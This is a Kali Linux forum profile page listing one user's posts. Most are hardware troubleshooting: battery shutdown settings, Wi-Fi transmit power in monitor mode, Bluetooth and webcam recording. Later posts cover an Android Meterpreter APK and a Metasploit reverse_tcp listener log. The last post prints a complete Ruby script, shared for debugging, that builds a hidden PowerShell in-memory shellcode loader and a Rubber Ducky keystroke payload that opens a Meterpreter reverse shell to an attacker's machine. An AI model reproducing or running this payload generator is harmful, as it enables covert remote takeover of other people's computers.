Jump to content

SystemCrash86

Active Members
  • Posts

    254
  • Joined

  • Last visited

  • Days Won

    1

Everything posted by SystemCrash86

  1. It didn't work, nothing i tried worked and this is a fresh iso install just in case. I edited /etc/Upower/Upower.conf to show "CriticalPowerAction=PowerOff" and uncommented the PowerOff value. Rebooted. And when i ran upower- d it still said HybridSleep at the bottom.
  2. I have done that and rebooted but since my laptop battery is just over half way full i will let you know what happens when it becomes critical. Thanks for all your help
  3. On the live boot it's not a problem because it says shutdown by default and does exactly that on critical battery. The problem occurs when i install Kali to my hard drive. After typing upower -d in terminal the bottom of the output reads: Daemon: daemon-version: 0.99.1 on-battery: yes lid-is-closed: no lid-is-present: yes critical-action: HybridSleep how do i change this?
  4. Thanks, i tried apt-get install acpid then ran dmesg | grep ACPI and the output is root@Kali:~# dmesg | grep ACPI [ 0.000000] BIOS-e820: [mem 0x00000000b8f00000-0x00000000b8f1afff] ACPI data [ 0.000000] BIOS-e820: [mem 0x00000000b8f1b000-0x00000000b968dfff] ACPI NVS [ 0.000000] ACPI: Early table checksum verification disabled [ 0.000000] ACPI: RSDP 0x00000000000F04A0 000024 (v02 TOSCPL) [ 0.000000] ACPI: XSDT 0x00000000B8F08080 000084 (v01 TOSCPL TOSCPL00 01072009 AMI 00010013) [ 0.000000] ACPI: FACP 0x00000000B8F19118 00010C (v05 TOSCPL TOSCPL00 01072009 AMI 00010013) [ 0.000000] ACPI BIOS Warning (bug): 32/64X length mismatch in FADT/Gpe0Block: 128/32 (20150204/tbfadt-618) [ 0.000000] ACPI: DSDT 0x00000000B8F08198 010F7D (v02 TOSCPL TOSCPL00 01072009 INTL 20120913) [ 0.000000] ACPI: FACS 0x00000000B968DF80 000040 [ 0.000000] ACPI: APIC 0x00000000B8F19228 000068 (v03 TOSCPL TOSCPL00 01072009 AMI 00010013) [ 0.000000] ACPI: FPDT 0x00000000B8F19290 000044 (v01 TOSCPL TOSCPL00 01072009 AMI 00010013) [ 0.000000] ACPI: MSDM 0x00000000B8F192D8 000055 (v03 TOSCPL TOSCPL00 01072009 AMI 00010013) [ 0.000000] ACPI: MCFG 0x00000000B8F19330 00003C (v01 TOSCPL TOSCPL00 01072009 MSFT 00000097) [ 0.000000] ACPI: LPIT 0x00000000B8F19370 000104 (v01 TOSCPL TOSCPL00 00000003 VLV2 0100000D) [ 0.000000] ACPI: SLIC 0x00000000B8F19478 000176 (v01 TOSCPL TOSCPL00 01072009 AMI 00010013) [ 0.000000] ACPI: HPET 0x00000000B8F195F0 000038 (v01 TOSCPL TOSCPL00 01072009 AMI. 00000005) [ 0.000000] ACPI: SSDT 0x00000000B8F19628 000763 (v01 PmRef CpuPm 00003000 INTL 20061109) [ 0.000000] ACPI: SSDT 0x00000000B8F19D90 000290 (v01 PmRef Cpu0Tst 00003000 INTL 20061109) [ 0.000000] ACPI: SSDT 0x00000000B8F1A020 00017A (v01 PmRef ApTst 00003000 INTL 20061109) [ 0.000000] ACPI: UEFI 0x00000000B8F1A1A0 000042 (v01 TOSCPL TOSCPL00 00000000 00000000) [ 0.000000] ACPI: Local APIC address 0xfee00000 [ 0.000000] ACPI: PM-Timer IO Port: 0x408 [ 0.000000] ACPI: Local APIC address 0xfee00000 [ 0.000000] ACPI: LAPIC (acpi_id[0x01] lapic_id[0x00] enabled) [ 0.000000] ACPI: LAPIC (acpi_id[0x02] lapic_id[0x02] enabled) [ 0.000000] ACPI: LAPIC_NMI (acpi_id[0x01] dfl edge lint[0xf4]) [ 0.000000] ACPI: NMI not connected to LINT 1! [ 0.000000] ACPI: LAPIC_NMI (acpi_id[0x02] res dfl lint[0xbd]) [ 0.000000] ACPI: NMI not connected to LINT 1! [ 0.000000] ACPI: IOAPIC (id[0x01] address[0xfec00000] gsi_base[0]) [ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) [ 0.000000] ACPI: IRQ0 used by override. [ 0.000000] ACPI: IRQ9 used by override. [ 0.000000] Using ACPI (MADT) for SMP configuration information [ 0.000000] ACPI: HPET id: 0x8086a201 base: 0xfed00000 [ 0.000223] ACPI: Core revision 20150204 [ 0.020894] ACPI: All ACPI Tables successfully acquired [ 0.120807] PM: Registering ACPI NVS region [mem 0xb8f1b000-0xb968dfff] (7811072 bytes) [ 0.148269] ACPI FADT declares the system doesn't support PCIe ASPM, so disable it [ 0.148342] ACPI: bus type PCI registered [ 0.148400] acpiphp: ACPI Hot Plug PCI Controller Driver version: 0.5 [ 0.176241] ACPI: Added _OSI(Module Device) [ 0.176241] ACPI: Added _OSI(Processor Device) [ 0.176241] ACPI: Added _OSI(3.0 _SCP Extensions) [ 0.176273] ACPI: Added _OSI(Processor Aggregator Device) [ 0.190870] ACPI: Dynamic OEM Table Load: [ 0.191021] ACPI: SSDT 0xFFFF880236396000 00045B (v01 PmRef Cpu0Ist 00003000 INTL 20061109) [ 0.191992] ACPI: Dynamic OEM Table Load: [ 0.191992] ACPI: SSDT 0xFFFF880236349800 000433 (v01 PmRef Cpu0Cst 00003001 INTL 20061109) [ 0.191992] ACPI: Dynamic OEM Table Load: [ 0.191992] ACPI: SSDT 0xFFFF880236340C00 00015F (v01 PmRef ApIst 00003000 INTL 20061109) [ 0.191992] ACPI: Dynamic OEM Table Load: [ 0.191992] ACPI: SSDT 0xFFFF880236345DC0 00008D (v01 PmRef ApCst 00003000 INTL 20061109) [ 0.194399] ACPI: Interpreter enabled [ 0.194469] ACPI Exception: AE_NOT_FOUND, While evaluating Sleep State [\_S1_] (20150204/hwxface-580) [ 0.194632] ACPI Exception: AE_NOT_FOUND, While evaluating Sleep State [\_S2_] (20150204/hwxface-580) [ 0.194813] ACPI: (supports S0 S3 S4 S5) [ 0.194871] ACPI: Using IOAPIC for interrupt routing [ 0.195805] PCI: MMCONFIG at [mem 0xe0000000-0xefffffff] reserved in ACPI motherboard resources [ 0.196536] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 0.633336] ACPI: Power Resource [USBC] (on) [ 0.635078] ACPI: Power Resource [PLPE] (on) [ 0.635456] ACPI: Power Resource [PLPE] (on) [ 0.637349] ACPI: Power Resource [FN00] (off) [ 0.638598] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 0.641422] pci 0000:00:14.0: System wakeup disabled by ACPI [ 0.643961] pci 0000:01:00.0: System wakeup disabled by ACPI [ 0.656611] pci 0000:02:00.0: System wakeup disabled by ACPI [ 0.668653] pci 0000:03:00.0: System wakeup disabled by ACPI [ 0.896612] ACPI: PCI Interrupt Link [LNKA] (IRQs 3 4 5 6 10 *11 12 14 15) [ 0.897250] ACPI: PCI Interrupt Link [LNKB] (IRQs 3 *4 5 6 10 11 12 14 15) [ 0.897886] ACPI: PCI Interrupt Link [LNKC] (IRQs 3 4 5 6 10 *11 12 14 15) [ 0.898524] ACPI: PCI Interrupt Link [LNKD] (IRQs 3 4 5 6 *10 11 12 14 15) [ 0.899159] ACPI: PCI Interrupt Link [LNKE] (IRQs 3 4 *5 6 10 11 12 14 15) [ 0.899793] ACPI: PCI Interrupt Link [LNKF] (IRQs 3 4 5 6 10 11 12 14 15) *0, disabled. [ 0.900519] ACPI: PCI Interrupt Link [LNKG] (IRQs *3 4 5 6 10 11 12 14 15) [ 0.901154] ACPI: PCI Interrupt Link [LNKH] (IRQs 3 4 5 6 *10 11 12 14 15) [ 0.902543] ACPI: Enabled 6 GPEs in block 00 to 3F [ 0.902774] ACPI : EC: GPE = 0x18, I/O: command/status = 0x66, data = 0x62 [ 0.904424] PCI: Using ACPI for IRQ routing [ 0.919530] pnp: PnP ACPI init [ 0.919693] pnp 00:00: Plug and Play ACPI device, IDs PNP0b00 (active) [ 1.124772] system 00:01: Plug and Play ACPI device, IDs PNP0c02 (active) [ 1.132311] pnp 00:02: Plug and Play ACPI device, IDs TOS0330 PNP0f13 (active) [ 1.132390] pnp 00:03: Plug and Play ACPI device, IDs TOS1106 PNP0c03 PNP030b (active) [ 1.133212] system 00:04: Plug and Play ACPI device, IDs PNP0c02 (active) [ 1.133882] pnp: PnP ACPI: found 5 devices [ 1.897849] ACPI: bus type USB registered [ 1.926690] ACPI: Thermal Zone [TZ01] (42 C) [ 22.371272] ACPI Warning: SystemIO range 0x000000000000F000-0x000000000000F01F conflicts with OpRegion 0x000000000000F000-0x000000000000F00F (\_SB_.PCI0.SBUS.SMBI) (20150204/utaddress-254) [ 22.371459] ACPI: If an ACPI driver is available for this device, you should use it instead of the native driver [ 22.515548] ACPI: Power Button [PWRB] [ 22.515955] ACPI: Lid Switch [LID0] [ 22.516226] ACPI: Power Button [PWRF] [ 22.544219] ACPI: Battery Slot [BAT1] (battery present) [ 22.727519] ACPI: AC Adapter [ACAD] (off-line) [ 23.079114] toshiba_bluetooth: Detected Toshiba ACPI Bluetooth device - installing RFKill handler [ 23.221749] ACPI: Video Device [GFX0] (multi-head: yes rom: no post: no) [ 23.699104] toshiba_acpi: Toshiba Laptop ACPI Extras version 0.21 root@Kali:~# This problem that i am having is not confined to just one laptop, i have tried it on sereral machines with the same result. Nothing i have tried so far has worked.
  5. Hey guys, I'm having abit of a problem with the new Kali Linux 2.0. Everything works great on my laptop except that when my laptop battery is critical i want it to poweroff/shutdown however no matter what i triy it keeps going in hibernate and i don't want that. In settings i have changed from suspend to power off when critcal and it makes no difference. Also in dconf-editor i changed it so laptop should shutdown when battery critical and this to makes no difference. Does any one have any ideas? Any help is greatly appreciated, thank you
  6. Hi, thanks for your input its always appreciated but not quite what i'm looking for. I can already record my desktop but what i really need is a program that i can use my webcam to record. On a side note thanks for the tip about vlc i use it alot now i made the switch to linux and didn't know about that so thank you it might come in handy.
  7. I never said the software was shit. And my webcam does get picked up by the kernel as i've tested it with skype and cheese but cheese only crashes when i try to record and the same goes when i use kamoso. Guvcview might not be picking up my camera as when i load it there is just a black screen but my webcam light goes on. I can also use my webcam to take picures using tools such as camorama, so my webcam is working with the kernel it's just when i try to record.
  8. I recently made the switch from windows to full time linux. Everything is going well except when i want to use my webcam for recording a video. I have used serveral including cheese which crashes when i hit the record button and guvcview which shows a black screen. Any other options that might help?
  9. How would i go about fixing that? I searched google but so far no luck
  10. Update - as i dual boot between kali linux and ubuntu 14.04 i thought i would see if i had any problems on my ubuntu side. First i checked the txpower and it was 20 which i from start up s that works, then using synaptic i install the aircrack-ng suite so i could get my card into monitor mode. I put my card into monitor mode making a mon0 interface and i checked the txpower once again and it still said 20 - at the moment it is that same as my kali linux. I am not using the monitor interface yet and it is 20 dbm. Then i used the interface using "airodump-ng mon0" and as that was running i tested the txpower and in another terminal and wow it remained at 20dbm - defferent from kali becasue at this point wlan0 and mon0 would have gone back to 16dbm.
  11. It usually stays at 20, thanks to that script but when i enable monitor mode they both drop down to 16 when monitoring and when i use it normally or it just stays at 20 until i actually use it. I changed the "/etc/default/crda" to include GB (my country code) and "/lib/crda/setregdomain" to set my country code. Is there anything else i missed?
  12. Hi, i tried increaseing the power after starting wash or airodump-ng and it won't let me, it keeps staying at 16. When i stop the process i am able to once again adjust the power back up to a reasonable 20. But only keeps going back to 16 and stays there whenever i try and use it for something.
  13. Thanks, i tried that and my monitor interface stays at 20 until i actually use it for example by typing "wash -i mon0" and then both wlan0 and my mon0 interface go back to being 16
  14. I dual boot my laptop with ubuntu 14.04 and kali linux and since that worked on my ubuntu side i thought i would try it onmy kali side and it worked on there as well, except for one small issue - if i put the wlan0 interface into monitor mode and just to test it use the command "wash -i mon0" as an example both the mon0 interface and wlan0 interface go back to 16dbm and remains that way till i stop the monitor interface and restart network manager. Any ideas?
  15. That worked. Thank you so much, i was looking for a solution for ages. When i boot up or restart my network manager it stays at 20dbm which is better then the 16dbm it used to be. Thank you.
  16. I managed to edit the /etc/rc.local file in linux so that when it boots i get 20dbm instead of my usual 16dbm. Which is great, except for one small problem - if lose connection to my internet and have to reconnect or if i have to reboot my network manager i go back to 16dbm.
  17. txpower on laptop keeps switching from 20dbm to 16dbm everytime i reboot or restart my wireless in linux and ubuntu. My default txpower for my wireless interface is 16dbm but if i type "iwconfig wlan0 txpower 20" it goes upto 20dbm like it should. Its very annoying to do this every time i boot up my laptop just to get a decent signal. Is there any way to make it so that 20dbm is the default instead of 16dbm?
  18. Ahh ok, that's why my usb works and not my internal one. I am starting to notice that it is abit unstable because - i have a new laptop (with bluetooth built in obviously) which i dual boot with ubuntu 14.04 and the latest version of kali linux. Then i realise that my wifi tx-power is only at 16dbm!! In ubuntu i am able to fix this using commands like "iw wlan0 txpower 20" or something and it works but using the same commands in kali dont work. is there a possible work around that could fix the problem?
  19. The error is with my internal bluetooth, however when i plug in my usb bluetooth device the bluetooth icon re-appears and i can use it no problems but with my internal one i can't. Everything is up-to-date with the latestest release of Kali with a kernal verson of: uname -r 3.18.0-kali1-amd64
  20. Hey Guy's I need your help, I have a Toshiba Satellite laptop with built-in bluetooth and and installation of Kali Linux 1.1.0. My problem is that i cannot get my internal bluetooth to work and i have even lost the bluetooth icon on the indicator panel. My outputs are : lsusb Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 004: ID 0930:0227 Toshiba Corp. Bus 001 Device 003: ID 1a40:0101 Terminus Technology Inc. 4-Port HUB Bus 001 Device 002: ID 04f2:b446 Chicony Electronics Co., Ltd Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub lspci 00:00.0 Host bridge: Intel Corporation ValleyView SSA-CUnit (rev 0e) 00:02.0 VGA compatible controller: Intel Corporation ValleyView Gen7 (rev 0e) 00:13.0 SATA controller: Intel Corporation ValleyView 6-Port SATA AHCI Controller (rev 0e) 00:14.0 USB controller: Intel Corporation ValleyView USB xHCI Host Controller (rev 0e) 00:1a.0 Encryption controller: Intel Corporation ValleyView SEC (rev 0e) 00:1b.0 Audio device: Intel Corporation ValleyView High Definition Audio Controller (rev 0e) 00:1c.0 PCI bridge: Intel Corporation ValleyView PCI Express Root Port (rev 0e) 00:1c.1 PCI bridge: Intel Corporation ValleyView PCI Express Root Port (rev 0e) 00:1c.2 PCI bridge: Intel Corporation ValleyView PCI Express Root Port (rev 0e) 00:1f.0 ISA bridge: Intel Corporation ValleyView Power Control Unit (rev 0e) 00:1f.3 SMBus: Intel Corporation ValleyView SMBus Controller (rev 0e) 01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8101E/RTL8102E PCI Express Fast Ethernet controller (rev 07) 02:00.0 Network controller: Atheros Communications Inc. AR9565 Wireless Network Adapter (rev 01) 03:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. RTS5229 PCI Express Card Reader (rev 01) dmesg | grep Blue [ 6.193086] toshiba_bluetooth: Detected Toshiba ACPI Bluetooth device - installing RFKill handler [ 6.193497] toshiba_bluetooth: Re-enabling Toshiba Bluetooth [ 6.972220] Bluetooth: Core ver 2.19 [ 6.972333] Bluetooth: HCI device and connection manager initialized [ 6.973447] Bluetooth: HCI socket layer initialized [ 6.973469] Bluetooth: L2CAP socket layer initialized [ 6.973546] Bluetooth: SCO socket layer initialized [ 7.126003] Bluetooth: Loading patch file failed [ 19.876412] Bluetooth: RFCOMM TTY layer initialized [ 19.876434] Bluetooth: RFCOMM socket layer initialized [ 19.876450] Bluetooth: RFCOMM ver 1.11 [ 19.959383] Bluetooth: BNEP (Ethernet Emulation) ver 1.3 [ 19.959391] Bluetooth: BNEP filters: protocol multicast [ 19.959407] Bluetooth: BNEP socket layer initialized [ 264.813159] toshiba_bluetooth: Re-enabling Toshiba Bluetooth As you can see [7.126003] Bluetooth: Loading patch file failed - and i have no idea on how to fix this. I have been scrolling google for days and still nothing works. Please help.
  21. I wanted to know from experience which is better, nvidia or amd. I have Nvidia installed but i hear that AMD is faster and i wanted to hear some of your thoughts so if that's the case i may make the transition to AMD, maybe.
  22. I have a Nvidia GeForce GT 610 and i want to get a card that works faster with pyrit but not sure which one to upgrade to, any suggestions? Oh and it has to be cheap and affordable.
  23. I have an android phone and and up-to-date Kali Linux machine. I read a tutorial on how to get metasploit's meterpreter session from an android device. I tried it and everything worked like it should. I created the apk file and copied it to my android and installed it. It had the Metasploit logo and when i pressed that logo it took me to a screen that said reverse tcp. On my Kali machine i had set up the multi handler from metasploit, i pressed the reverse tcp button on the android device and was able to get a meterpreter session going. All worked fine except if i navigated away from the android screen that had the reverse tcp button i would lose my meterpreter session. Is there anyway around this?
  24. I did a fresh clean install of Simple-Ducky Payload Generator. Then i used git clone on https://github.com/b00stfr3ak/Powershell-Reverse-Rubber-Ducky.git to get the reverse_powershell_ducky.rb. Note that everything is upto date and freshly installed and that this script has been cloned from the git hub and i have not made any changes to this one. This script also worked flawlessly on Kali linux 3.12-kali1-amd64 iso without problems but since the update to 3.14-kali1-amd64 it no longer works. root@SystemCrash86:/usr/share/simple-ducky# ./update.sh Already up-to-date. Entering 'misc/dbd' Switched to branch 'master' Entering 'misc/dbd' Already up-to-date. # On branch master nothing to commit (working directory clean) root@SystemCrash86:~/Powershell-Reverse-Rubber-Ducky# ./reverse_powershell_ducky.rb Enter the host ip to listen on: 192.168.0.2 [+] Using 192.168.0.2 as server Port you would like to use or leave blank for [443]: [+] Using 443 [*] Generating shellcode No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload Found 0 compatible encoders [*] Writing to file [+] File Complete Would you like to start the listener?[yes/no] yes [*] Compile powershell_reverse_ducky.txt with duckencode.jar [*] Setting up Metasploit this may take a moment ______________________________________________________________________________ | | | METASPLOIT CYBER MISSILE COMMAND V4 | |______________________________________________________________________________| \ / / \ . / / x \ / / \ / + / \ + / / * / / / . / X / / X / ### / # % # / ### . / . / . * . / * + * ^ #### __ __ __ ####### __ __ __ #### #### / \ / \ / \ ########### / \ / \ / \ #### ################################################################################ ################################################################################ # WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF # ################################################################################ http://metasploit.pro Validate lots of vulnerabilities to demonstrate exposure with Metasploit Pro -- Learn more on http://rapid7.com/metasploit =[ metasploit v4.9.2-2014052101 [core:4.9 api:1.0] ] + -- --=[ 1311 exploits - 784 auxiliary - 221 post ] + -- --=[ 335 payloads - 35 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] [*] Processing msf_listener.rc for ERB directives. resource (msf_listener.rc)> use exploit/multi/handler resource (msf_listener.rc)> set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp resource (msf_listener.rc)> set LHOST 192.168.0.2 LHOST => 192.168.0.2 resource (msf_listener.rc)> set LPORT 443 LPORT => 443 resource (msf_listener.rc)> set EnableStageEncoding true EnableStageEncoding => true resource (msf_listener.rc)> set ExitOnSession false ExitOnSession => false resource (msf_listener.rc)> exploit -j [-] Exploit failed: undefined method `const_defined?' for nil:NilClass msf exploit(handler) >
  25. Ducky reverse shell doesn't work I have used the following script, that i know used to work and now doesn't. I modified it abit from the original download to hide the cmd window as the shellcode is being typed. It worked like a charm but now its not working. Here is the script: #!/usr/bin/env ruby # Thanks to @mattifestation exploit-monday.com and Dave Kennedy. # Written by James Cook @b00stfr3ak44 require 'base64' def print_error(text) print "\e[31m[-]\e[0m #{text}" end def print_success(text) print "\e[32m[+]\e[0m #{text}" end def print_info(text) print "\e[34m[*]\e[0m #{text}" end def get_input(text) print "\e[33m[!]\e[0m #{text}" end def get_host() host_name = [(get_input("Enter the host ip to listen on: ") ), $stdin.gets.rstrip][1] ip = host_name.split('.') if ip[0] == nil or ip[1] == nil or ip[2] == nil or ip[3] == nil print_error("Not a valid IP\n") get_host() end print_success("Using #{host_name} as server\n") return host_name end def get_port() port = [(get_input("Enter the port you would like to use or leave blank for [443]: ") ), $stdin.gets.rstrip][1] if port == '' port = '443' print_success("Using #{port}\n") return port elsif not (1..65535).cover?(port.to_i) print_error("Not a valid port\n") sleep(1) port() else print_success("Using #{port}\n") return port end end def shellcode_gen(msf_path,host,port) print_info("Generating shellcode\n") execute = `#{msf_path}./msfvenom --payload #{@set_payload} LHOST=#{host} LPORT=#{port} C` shellcode = clean_shellcode(execute) powershell_command = %($1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = #{shellcode};$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$gq = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\\syswow64\\WindowsPowerShell\\v1.0\\powershell";$cmd = "-nop -noni -enc";iex "& $x86 $cmd $gq"}else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $gq";}) encoded_command = Base64.encode64(powershell_command.encode("utf-16le")).delete("\r\n") return encoded_command end def clean_shellcode(shellcode) shellcode = shellcode.gsub('\\',",0") shellcode = shellcode.delete("+") shellcode = shellcode.delete('"') shellcode = shellcode.delete("\n") shellcode = shellcode.delete("\s") shellcode[0..4] = '' return shellcode end def ducky_setup(encoded_command) print_info("Writing to file\n") File.open("powershell_reverse_ducky.txt",'w') {|f| f.write("DELAY 2000\nGUI r\nDELAY 500\nSTRING cmd /Q /D /T:7F /F:OFF /V:ON /K\nDELAY 500\nENTER\nDELAY 750\nALT SPACE\nSTRING M\nDOWNARROW\nREPEAT 100\nENTER\nSTRING powershell -nop -wind hidden -noni -enc #{encoded_command}\nENTER")} print_success("File Complete\n") end def metasploit_setup(msf_path,host,port) print_info("Setting up Metasploit this may take a moment\n") rc_file = "msf_listener.rc" file = File.open("#{rc_file}",'w') file.write("use exploit/multi/handler\n") file.write("set PAYLOAD #{@set_payload}\n") file.write("set LHOST #{host}\n") file.write("set LPORT #{port}\n") file.write("set EnableStageEncoding true\n") file.write("set ExitOnSession false\n") file.write("exploit -j") file.close system("#{msf_path}./msfconsole -r #{rc_file}") end begin if File.exist?('/usr/bin/msfvenom') msf_path = '/usr/bin/' elsif File.exist?("/opt/metasploit-framework/msfvenom") msf_path = ('/opt/metasploit-framework/') else print_error("Metasploit Not Found!") exit end @set_payload = "windows/meterpreter/reverse_tcp" host = get_host() port = get_port() encoded_command = shellcode_gen(msf_path,host,port) ducky_setup(encoded_command) msf_setup = [(get_input("Would you like to start the listener?[yes/no] ") ), $stdin.gets.rstrip][1] print_info("Compile powershell_reverse_ducky.txt with duckencode.jar\n") metasploit_setup(msf_path,host,port) if msf_setup == 'yes' print_info("Good Bye!\n") end And i get the following error: root@SystemCrash86:/usr/share/simple-ducky/payloads# ./reverse_powershell_ducky2.rb [!] Enter the host ip to listen on: 192.168.0.2 [+] Using 192.168.0.2 as server [!] Enter the port you would like to use or leave blank for [443]: 443 [+] Using 443 [*] Generating shellcode No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload Found 0 compatible encoders ./reverse_powershell_ducky2.rb:51:in `gsub': invalid byte sequence in UTF-8 (ArgumentError) from ./reverse_powershell_ducky2.rb:51:in `clean_shellcode' from ./reverse_powershell_ducky2.rb:45:in `shellcode_gen' from ./reverse_powershell_ducky2.rb:90:in `<main>' root@SystemCrash86:/usr/share/simple-ducky/payloads# Everything is uptodate and this script used to work but now i get those errors
×
×
  • Create New...